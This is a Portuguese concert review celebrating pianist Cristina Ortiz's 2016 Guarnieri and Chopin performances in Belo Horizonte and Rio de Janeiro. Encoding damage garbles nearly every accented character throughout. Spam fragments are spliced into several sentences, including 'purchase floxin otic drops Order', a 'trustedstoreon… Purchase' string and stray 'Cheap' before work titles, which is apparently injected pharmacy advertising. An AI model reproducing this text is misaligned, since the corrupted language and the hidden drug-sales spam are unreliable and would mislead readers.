CríticaLateralMúsica de câmara

Cristina Ortiz sendo Cristina Ortiz

Grande intA�rprete de grandesA�compositores como Villa-Lobos e Chopin.


Os brasileiros, nos meses de julho e agosto de 2016, foram agraciados com apresentaA�A�es brilhantes, da pianista Cristina Ortiz. Os programas foram executados nas cidades de Belo Horizonte (28 e 29/07) e Rio de Janeiro (07/08).

Na capital mineira, na Sala Minas Gerais, com a FilarmA?nica de Minas Gerais, sob a regA?ncia de FA?bio Mechetti, Cristina interpretou duas obras de Mozart Camargo Guarnieri, o translate,google,http,trustedstoreon… Purchase Concertino para piano e orquestra de cA?mara e o Choro para piano e orquestra purchase floxin otic drops Order .

Guarnieri, um nacionalista declarado, quando compA?s o Concertino substituiu os termos que designam os andamentos por expressA�es do vocabulA?rio nacional, como a�?festivoa�?, a�?tristonhoa�? e a�?alegrea�?. Ou seja, em nome do seu nacionalismo, deixou de lado as denominaA�A�es eleitas internacionalmente. Assim, o Cheap Cheap Concertino remete A� mA?sica nacional, especialmente atravA�s do uso do ritmo alegre/vibrante. Esta sistemA?tica A� percebida mesmo no andamento a�?tristonhoa�?, ainda que prevaleA�a nele, destacadamente em razA?o da interpretaA�A?o que lhe oferece Cristina Ortiz, a forma lA�rica. Enquanto que os outros dois movimentos remetem ao frevo e a embolada. Da mesma forma, a segunda obra, o Choro, mantA�m o carA?ter nacional, porA�m, remetendo aos seresteiros urbanos.

Neste contexto, conclui-se que a solista eleita para comunicar ao pA?blico as intenA�A�es de Guarnieri nA?o poderia ter sido outra que nA?o a telA?rica Cristina Ortiz. Brasileira, nascida em Salvador, criada no Rio de Janeiro, com carreira desenvolvida em Londres e, jA? hA? dA�cadas, com renome internacional. Grande intA�rprete dos principais compositores, como Villa-Lobos e Chopin, e titular de uma discografia de dar inveja a qualquer artista da mA?sica clA?ssica. Inclusive, vA?rias dessas gravaA�A�es correspondem a registros histA?ricos.

Cristina A�, merecidamente, reconhecida por sua fidelidade A� partitura, pela busca do a�?respirara�? conjunto com os mA?sicos da formaA�A?o orquestral e, principalmente, por sua energia deslumbrante.

Esta nossa pianista possui espA�rito livre.A�Evidencia-se, em suas apresentaA�A�es, o comprometimento com a comunicaA�A?o ao pA?blico. Os melhores adjetivos que a representam sA?o: comunicaA�A?o, paixA?o e energia.

Em Belo Horizonte, o pA?blico foi presenteado com o oferecimento de dois bis, ambos de York Bowen, compositor inglA?s, a�?ressuscitadoa�? por Cristina nos A?ltimos anos. AliA?s, esta A� uma outra caracterA�stica de Ortiz, sempre em busca de novas composiA�A�es e/ou compositores, e com absoluta coragem para comunicar essas a�?novidadesa�? ao pA?blico. Bowen, por exemplo, foi objeto de gravaA�A?o por Cristina, pelo selo Naxos, com peA�as solo para piano, e obteve ampla recepA�A?o da crA�tica nacional e internacional.

Sim. Cristina Ortiz possui muita coragem, porque quando busca a�?novidadesa�?, em que pese este adjetivo remeter a algo supostamente novo, nA?o, necessariamente, se trata de obra contemporA?nea, de compositor vivo e com fA?cil acesso aos necessA?rios esclarecimentos interpretativos. Muito ao contrA?rio, normalmente faz-se necessA?rio desbravar a partitura e o contexto da composiA�A?o. E Cristina, em seu dia a dia, explora as obras, debruA�a-se sobre a partitura, afasta-se de interpretaA�A�es prA�-existentes e registradas em gravaA�A?o, ou seja, esforA�a-se para capturar e comunicar a essA?ncia da obra, as reais intenA�A�es do compositor.

Por sua vez, no Rio de Janeiro, Ortiz apresentou um programa diferenciado com composiA�A�es de a�?o poeta do pianoa�? a�� FrA�dA�ric Chopin. Esta apresentaA�A?o competiu com as OlA�mpiadas, inclusive com o trA?nsito ainda mais caA?tico, mas nA?o afastou o natural brilhantismo de Cristina, especialmente porque ela se fez acompanhar por um dos seus compositores favoritos.

Os seguidores de Ortiz sabem que ela possui um programa, criado por ela, especialmente para Chopin, denominado Scherlades, contendo as quatro Ballades e os quatro Cheap Scherzi. Ainda assim, nA?o foi este o programa que Cristina apresentou na Sala CecA�lia Meirelles, no Rio. Novamente, manteve-se distante do comodismo e optou pela Fantasia em fA? menor, Op. 49 Cheap ; Sonata em si bemol menor, Op. 35 n. 2; Barcarola em fA? sustenido maior, Op. 60; e Sonata em si menor, Op 58 n. 3. Programa de envergadura, lindo de se ouvir e assistir.

Nas duas apresentaA�A�es vivenciou-se Ortiz como ela, efetivamente, A�: uma artista comprometida com a obra e compositor, repleta de energia, com o uso diferenciado dos pedais, atenciosa com o seu pA?blico e sempre fiel A� mA?sica.

Brava, Cristina Ortiz!

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Patricia Luciane de Carvalho
Advogada em São Paulo. Professora de Direito da Propriedade Intelectual